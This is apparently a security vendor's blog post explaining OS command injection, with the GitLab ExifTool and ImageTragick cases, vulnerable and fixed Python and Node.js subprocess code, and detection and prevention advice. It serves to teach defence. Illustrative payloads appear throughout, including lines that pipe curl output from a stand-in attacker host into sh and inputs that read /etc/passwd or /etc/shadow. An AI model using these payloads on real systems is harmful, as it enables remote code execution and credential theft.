GraphNode
Back to all posts
AppSec

OS Command Injection: Why exec() and shell=True Still Ship Production RCEs

| 11 min read |GraphNode Research

In April 2021, GitLab disclosed CVE-2021-22205, a vulnerability that allowed an unauthenticated attacker to upload a malformed image and obtain remote code execution on any GitLab Community or Enterprise Edition instance running a vulnerable release. The bug did not live in GitLab's Ruby code at all. The web application accepted an uploaded image and passed it to ExifTool to strip metadata for safety, and ExifTool's DjVu parser interpreted a specific annotation field as a Perl expression that it then evaluated through the system shell. The attacker's payload was a PNG with a crafted DjVu annotation containing a string that ExifTool eval'd, which in turn invoked system() with attacker-controlled arguments. Within weeks the exploit was weaponized: ransomware crews and botnets scanned the public internet for unpatched GitLab installs and dropped reverse shells through the avatar upload endpoint. The CVSS score was 10.0 and CISA added the bug to the Known Exploited Vulnerabilities catalog. Four years later, OS command injection is still the bug class that turns benign features — image processing, PDF rendering, ping diagnostics — into one-shot path-to-root exploits.

Command injection sits at the intersection of two engineering cultures that rarely review each other's code. Application developers know SQL injection and XSS because those bugs live in code paths they own. Operations engineers write the scripts that shell out to curl, ping, convert, or git because the language-native API is heavier than a one-line subprocess call. The seam where those worlds meet — the upload pipeline that calls ImageMagick, the build script that interpolates a branch name, the diagnostic endpoint that pings a hostname — is where the bug lives. This article walks through how command injection works at the shell level, what vulnerable and fixed code looks like in Python and Node.js, the indirect variant hidden inside third-party tools, and the detection layers that catch it.

What OS Command Injection Actually Is

The mechanic fits in two sentences. A program builds a string by concatenating user input into a shell command, then hands the string to a system shell — /bin/sh, bash, cmd.exe — for execution. The shell parses metacharacters as syntax: ; separates commands, && chains them, | pipes output, $(...) and backticks substitute the result of one command into another. If the user-controlled portion contains any of those characters, the attacker has injected new commands that the shell executes with the privileges of the calling process.

The textbook example is a diagnostic page that takes a hostname from a form and runs ping -c 1 <hostname>. A user who submits example.com; cat /etc/passwd turns one ping into two commands. Add $(curl http://attacker/shell.sh | sh) and the same primitive becomes a fully interactive remote shell. The bug class predates the web — Bourne shell shipped in 1977 — and has held a top-five spot on every iteration of the OWASP Top 10 since the project began.

The Python subprocess Pattern That Ships RCE

Python's subprocess module is the canonical surface for command injection. The shell=True flag hands the entire argument as a single string to /bin/sh -c, which parses it according to shell rules. Combined with f-string interpolation, you get the pattern that lives in tens of thousands of internal operations scripts:

# VULNERABLE
import subprocess

def ping_host(hostname: str) -> str:
    result = subprocess.run(
        f"ping -c 1 {hostname}",
        shell=True,
        capture_output=True,
        text=True,
    )
    return result.stdout

A request with hostname = "8.8.8.8; id" runs both the ping and id. A request with hostname = "$(curl evil.example/x | sh)" downloads and executes a remote shell script. The fix is to drop shell=True, pass the command and arguments as a list, and let the operating system's execve deliver the arguments directly to the target binary without ever invoking a shell parser:

# FIXED
import ipaddress
import subprocess

def ping_host(hostname: str) -> str:
    # Validate against an allowlist before spending a process
    try:
        ipaddress.ip_address(hostname)
    except ValueError:
        raise ValueError("hostname must be a valid IP address")

    result = subprocess.run(
        ["ping", "-c", "1", "--", hostname],
        shell=False,
        capture_output=True,
        text=True,
        timeout=5,
    )
    return result.stdout

The argument list bypasses the shell entirely, so metacharacters in hostname never reach a parser. The explicit -- separator stops ping from interpreting a hostname starting with - as a flag, closing a quieter argument-injection variant. The ipaddress check rejects anything that is not a literal IP before the subprocess spawns, so even if a future refactor re-introduces shell=True, the input has already been narrowed to a string that cannot contain metacharacters.

Node.js exec vs execFile

Node.js child_process has the same trap door. exec spawns a shell to run the command string and is the function tutorials reach for first because it takes a single string. execFile takes a binary path and an argument array, runs the binary directly, and never invokes a shell. The vulnerable pattern:

// VULNERABLE
const { exec } = require('child_process');

function pingHost(hostname, callback) {
  exec(`ping -c 1 ${hostname}`, (err, stdout, stderr) => {
    callback(err, stdout);
  });
}

Template literal interpolation looks innocuous, but the runtime behavior is identical to string concatenation: hostname is glued into the command string, passed to /bin/sh -c, and the shell parses any metacharacters. An input of 8.8.8.8; cat /etc/shadow on a misconfigured container is a one-liner exploit. The fix replaces exec with execFile, validates the input, and keeps a timeout:

// FIXED
const { execFile } = require('child_process');
const net = require('net');

function pingHost(hostname, callback) {
  if (net.isIP(hostname) === 0) {
    return callback(new Error('hostname must be a valid IP address'));
  }

  execFile(
    'ping',
    ['-c', '1', '--', hostname],
    { timeout: 5000 },
    (err, stdout) => callback(err, stdout)
  );
}

execFile calls the operating system's execve directly with the binary path and argument array, so the shell is never in the loop. net.isIP rejects anything that is not a v4 or v6 address. The timeout caps process runtime in case the target swallows packets. The same shape applies to spawn and execFileSync. The rule is simple: if you find yourself reaching for template literals inside exec, switch to the array form.

The Indirect Injection Hidden in Third-Party Tools

The most dangerous variant is the one your code does not commit. ImageMagick's "ImageTragick" CVE-2016-3714 was the watershed: the convert binary's delegate system, designed to hand off unsupported formats to external programs, evaluated user-controlled portions of an image filename as a shell command when the file claimed to be an MVG resource. A web application that resized uploaded avatars by calling ImageMagick was suddenly executing arbitrary shell commands authored by whoever controlled the upload, even though the application's own code never invoked a shell. The GitLab ExifTool case followed the same shape, and the pattern recurs in ffmpeg with HLS playlist URIs, ghostscript with PostScript operators, and any LaTeX-to-PDF pipeline where \write18 reaches the shell.

Defending against indirect injection requires a different posture. Boundary validation cannot enumerate every shell-evaluable construct that an undocumented delegate understands. The durable defenses are tracking the SCA advisory feed for image, document, and media libraries; pinning a specific patched version; sandboxing conversion processes in a container with no network egress; and where threat model permits, replacing the shell-out tool with a language-native library that does not delegate to system(). Pillow, sharp, and ImageSharp each remove a category of CVE that convert continues to ship.

Why Command Injection Refuses to Die

Three structural patterns keep the bug class alive long after the safer APIs arrived. First, operations code rarely sees the same review as application code. The Python script in a cron job, the Bash wrapper that Docker invokes at container start, the Ansible task that calls shell: instead of the language module — each lives outside the pull request flow that catches application bugs. The os.system(f"...") pattern persists because the engineer writing it is not a security reviewer's typical audience. Second, CI/CD pipelines interpolate user-controlled metadata into shell scripts at every layer. A GitHub Actions step that runs echo "Building ${{ github.head_ref }}" becomes RCE the moment a contributor opens a pull request from a branch named $(curl evil.example|sh). The 2024 wave of pipeline-injection CVEs in Jenkins and third-party Actions traces to this single antipattern.

Third, the indirect injection surface keeps growing as applications add file-format intelligence. Every feature that parses an upload — thumbnail extraction, EXIF stripping, OCR, format conversion — adds a third-party tool to the runtime, and each tool has its own delegate system that may evaluate input as code. The fight has shifted from elimination to containment: validate at every entry point, use safer APIs by default, sandbox the surfaces that must remain.

Detection: Where Each Layer Earns Its Keep

Command injection has a fingerprint that static analysis catches because the dangerous sinks are a finite list of well-known APIs: subprocess.run with shell=True, os.system, Node.js child_process.exec, Java Runtime.exec(String), Ruby's backtick operator and Kernel#system with a single string, PHP's shell_exec and passthru. SAST traces user input from HTTP parameters, file uploads, and CI/CD context fields through the call graph to those sinks and flags the unsanitized paths on the diff that introduced them.

SCA flags vulnerable image-processing, archive, and document libraries in the dependency tree — the only practical defense against the indirect variant where application code is fine but a transitive tool ships a delegate-system regression. DAST submits shell metacharacter payloads — ; sleep 5 for time-based detection, $(curl interactsh) for out-of-band callbacks — against parameters that flow into command-execution endpoints. Code review remains the cheapest catch for the operations-code pattern: a quarterly grep for shell=True surfaces the bugs nobody has filed a ticket for yet.

Prevention Checklist

Six rules close the overwhelming majority of real-world command injection. Apply them in order; each later rule assumes the earlier ones are in place.

  • Never use shell=True or exec(string) with user-controlled input. The shell parser is the entire bug class. If your code does not need shell features, do not invoke the shell.
  • Pass arguments as an array, not a concatenated string. subprocess.run(["ping", "-c", "1", host]), execFile('ping', ['-c', '1', host]), Java ProcessBuilder with array constructor — every modern runtime exposes the safe form, and it is shorter than the wrong one.
  • Validate input against a strict allowlist before the subprocess call. Hostnames as IP-address literals, filenames as a regex of safe characters, URLs as a parsed and re-serialized URL with a scheme allowlist. Defense in depth pays for itself the first time a future refactor breaks the safe-API rule.
  • Prefer language-native APIs over shelling out. Python's requests instead of curl, Node's fs instead of cp, a native image library instead of convert. Each binary you remove is one fewer indirect-injection vector.
  • Pin and patch image, document, and media processing libraries aggressively. Subscribe to the SCA advisory feed for ImageMagick, ExifTool, Ghostscript, ffmpeg, and LibreOffice. The CVE pattern is recurring; treat them as untrusted code.
  • Sandbox processes that must shell out. A container with seccomp restrictions, no network egress, a read-only filesystem, and a non-root user contains the blast radius when the safer APIs miss something.

Where GraphNode SAST Fits

GraphNode SAST traces tainted input from HTTP, file upload, and CI/CD-context sources through the call graph to shell-execution sinks across 13+ languages, surfacing the concatenation or interpolation point that bridges user data into a shell parser. Findings land on the diff that introduced the sink, with the engineer who wrote it. Command injection is the canonical example under A03 Injection; SAST catches the unsafe pattern at the only point where the fix is still a one-line change rather than an emergency patch cycle and a public CVE.

Closing

Command injection has a documented fix that fits in a single API choice — array arguments, no shell. Despite that, it shipped in GitLab through ExifTool in 2021, in ImageMagick through delegates in 2016, and in countless internal scripts that nobody has audited because they live outside the application repository. The pattern persists because the seam where untrusted input meets shell-adjacent execution is wide, the safer APIs are slightly less ergonomic, and the indirect variant hides inside third-party tools the developer never wrote. The teams that stop shipping command injection are the ones that move detection upstream into the pull request, ban shell=True at review, and sandbox the surfaces that must remain. Five decades after the Bourne shell, that is still the only place the economics work in the defender's favor.

GraphNode SAST flags unsafe subprocess and exec patterns across 13+ languages — request a demo.

Request Demo